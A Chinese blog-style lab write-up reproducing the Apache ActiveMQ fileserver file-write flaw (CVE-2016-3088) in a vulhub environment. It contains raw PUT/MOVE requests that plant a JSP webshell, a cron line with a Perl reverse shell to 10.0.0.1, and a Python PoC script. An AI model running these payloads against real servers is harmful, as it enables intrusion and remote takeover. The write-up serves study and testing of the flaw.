前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布

UzzzzZ

作者头像
UzJu@菜菜狗
发布2023-10-20 15:54:11
1410
发布2023-10-20 15:54:11
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗

0x00 安装docker-compose

Ubuntu安装docker-compose

使用DaoCloud源下载

代码语言:javascript
复制
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

设置权限

代码语言:javascript
复制
sudo chmod +x /usr/local/bin/docker-compose
image-20211227215529656
image-20211227215529656

0x01 启动漏洞环境

漏洞影响版本

Apache ActiveMQ 5.x ~ 5.14.0

首先将漏洞环境全部Git到服务器上

代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git

随后进入到对应的目录即可

代码语言:javascript
复制
docker-compose up -d

随后会开始下载,并启动

image-20211227215551151
image-20211227215551151
image-20211227215618103
image-20211227215618103

0x02 漏洞复现

首先直接访问http://ip:8161

image-20211227215956438
image-20211227215956438
1、写入WebShell

首先查看ActiveMQ的绝对路径

http://ip:8161/admin/test/systemProperties.jsp

image-20211227220459926
image-20211227220459926

随后使用PUT请求上传一个SHELL

image-20211227222303990
image-20211227222303990

我们为了更具体的判断上传成功,进入docker查看是否有该文件

代码语言:javascript
复制
find . -name "UzJu.txt"
image-20211227220753743
image-20211227220753743
代码语言:javascript
复制
PUT /fileserver/UzJu.txt HTTP/1.1
Host: ip:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 15

UzJu_Test....:)

随后将文件移动到Web目录下的API文件夹中

代码语言:javascript
复制
file:///opt/activemq/webapps/api/UzJu.jsp
image-20211227222240694
image-20211227222240694
代码语言:javascript
复制
MOVE /fileserver/UzJu.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/UzJu.jsp
Host: 106.52.5.116:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=1kj9fz5gan2yd1wstqeinp6pkh
Connection: close

随后我们查看API目录下,确认文件是否已经移动

image-20211227221449458
image-20211227221449458

随后访问WebShell

http://ip:8161/api/UzJu.jsp

image-20211227221559108
image-20211227221559108
2、写crontab弹Shell
image-20211227221852482
image-20211227221852482
代码语言:javascript
复制
PUT /fileserver/time.txt HTTP/1.1
Host: ip:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 241

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

写入成功,随后移动文件到/etc/cron.d/下

image-20211227222349083
image-20211227222349083

Ps: 这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

0x03 编写poc

这里使用Python编写POC

代码语言:javascript
复制
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools 
@File    :2.ActiveMQFileWrite.py
@Author  :UzJu
@Date    :2021/12/27 10:26 下午 
@Email   :UzJuer@163.com
'''

import requests


class ActiveMQFileWrite:
    def __init__(self, url, username, password):
        self.url = url
        self.poc = "UzJu_test"
        self.path = "/fileserver/UzJu_1.txt"
        self.username = username
        self.password = password

    def getUploadFile(self):
        result = requests.put(url=self.url + self.path,
                              data=self.poc)
        if result.status_code == 204:
            print(f"[+]WebShell-{self.poc}写入成功")
        else:
            print(f'[-]写入失败, 状态码:{result.status_code}')

    def getAndMoveFile(self):
        headers = {
            "Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp"
        }
        result = requests.request("MOVE",
                                  url=self.url + self.path,
                                  headers=headers)
        if result.status_code == 204:
            print(f"[+]文件移动成功,请访问,{self.url}/api/UzJu_1.jsp")
        else:
            print(f"[-]文件移动失败,状态码:{result.status_code}")

    def getCheckVuln(self):
        result = requests.get(url=self.url + "/api/UzJu_1.jsp",
                              auth=(self.username, self.password))
        if result.status_code == 200:
            print(f"[+]存在漏洞, Payload: {result.text}")
        else:
            print(f"[-]不存在漏洞,或文件上传失败,或其他原因")


if __name__ == '__main__':
    main = ActiveMQFileWrite('http://ip:8161', "admin", "admin")
    main.getUploadFile()
    main.getAndMoveFile()
    main.getCheckVuln()

运行截图

image-20211227224821893
image-20211227224821893

访问试试

image-20211227224732806
image-20211227224732806

0x04 参考

1、https://blog.csdn.net/nzjdsds/article/details/116102632

2、https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.md

3、https://www.secpulse.com/archives/60064.html

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-04-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 安装docker-compose
  • 0x01 启动漏洞环境
  • 0x02 漏洞复现
    • 1、写入WebShell
      • 2、写crontab弹Shell
      • 0x03 编写poc
      • 0x04 参考
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档